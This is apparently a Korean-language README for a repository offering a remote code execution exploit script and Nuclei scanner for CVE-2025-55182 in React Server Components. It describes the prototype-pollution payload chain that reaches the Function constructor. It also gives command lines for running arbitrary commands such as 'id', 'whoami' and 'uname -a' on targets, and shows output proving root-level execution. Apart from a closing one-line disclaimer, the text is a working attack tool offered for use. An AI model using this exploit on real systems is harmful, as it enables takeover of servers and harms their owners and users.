
CVE-2025-55182 - React Server Components RCE Exploit & Scanner Supports external servers and CLI interface
React/Next.js Server Actions의 CVE-2025-55182에 대한 완전한 기능의 원격 코드 실행 익스플로잇 및 스캐너입니다.
원본 PoC: Spritualkb/CVE-2025-55182-exp
CVE-2025-55182는 React Server Components의 치명적인 프로토타입 오염 취약점으로, 원격 코드 실행을 가능하게 합니다. 이 저장소는 자동 스캐닝(Nuclei 템플릿)과 수동 익스플로잇(Python 스크립트) 도구를 모두 제공합니다.
취약점 메커니즘:
익스플로잇은 React Flight Protocol 역직렬화에서 프로토타입 오염을 활용합니다. "$1:__proto__:then"을 통해 Object.prototype.then을 오염시키고, _formData.get을 "$1:constructor:constructor"로 설정하여 Function 생성자 접근 권한을 얻은 후, _prefix를 통해 악성 코드를 주입하여 Function()에 의해 실행되게 합니다.
cve-2025-55182.yaml)id 명령을 실행하고 X-Action-Redirect 헤더를 통해 출력을 검색하는 자동화된 취약점 스캐너입니다.
사용법:
nuclei -u http://target.com:3000 -t cve-2025-55182.yaml
기능:
id) 실행CVE-2025-55182.py)임의 명령을 실행하고 출력을 검색하는 완전한 기능의 RCE 익스플로잇 스크립트입니다.
사용법:
python3 CVE-2025-55182.py http://target.com:3000 -c "id"
python3 CVE-2025-55182.py https://target.com -c "whoami" --no-check-ssl
python3 CVE-2025-55182.py 192.168.1.100:3000 -c "uname -a"
기능:
X-Action-Redirect 헤더에서 자동 출력 추출$ nuclei -u http://localhost:3001 -t cve-2025-55182.yaml
[cve-2025-55182:command_output] [http] [critical] http://localhost:3001 ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
[INF] Scan completed in 28.35483ms. 1 matches found.
$ python3 CVE-2025-55182.py http://localhost:3001 -c "id"
============================================================
CVE-2025-55182 RCE Exploit
React Server Components Remote Code Execution
============================================================
[*] Target: http://localhost:3001
[*] Command: id
[*] Building payload...
[*] Sending exploit payload...
============================================================
[+] Command executed successfully!
============================================================
[+] Command Output:
------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
------------------------------------------------------------
============================================================
[*] Exploitation attempt completed
============================================================
교육 목적 및 승인된 테스트 용도로만 사용하십시오.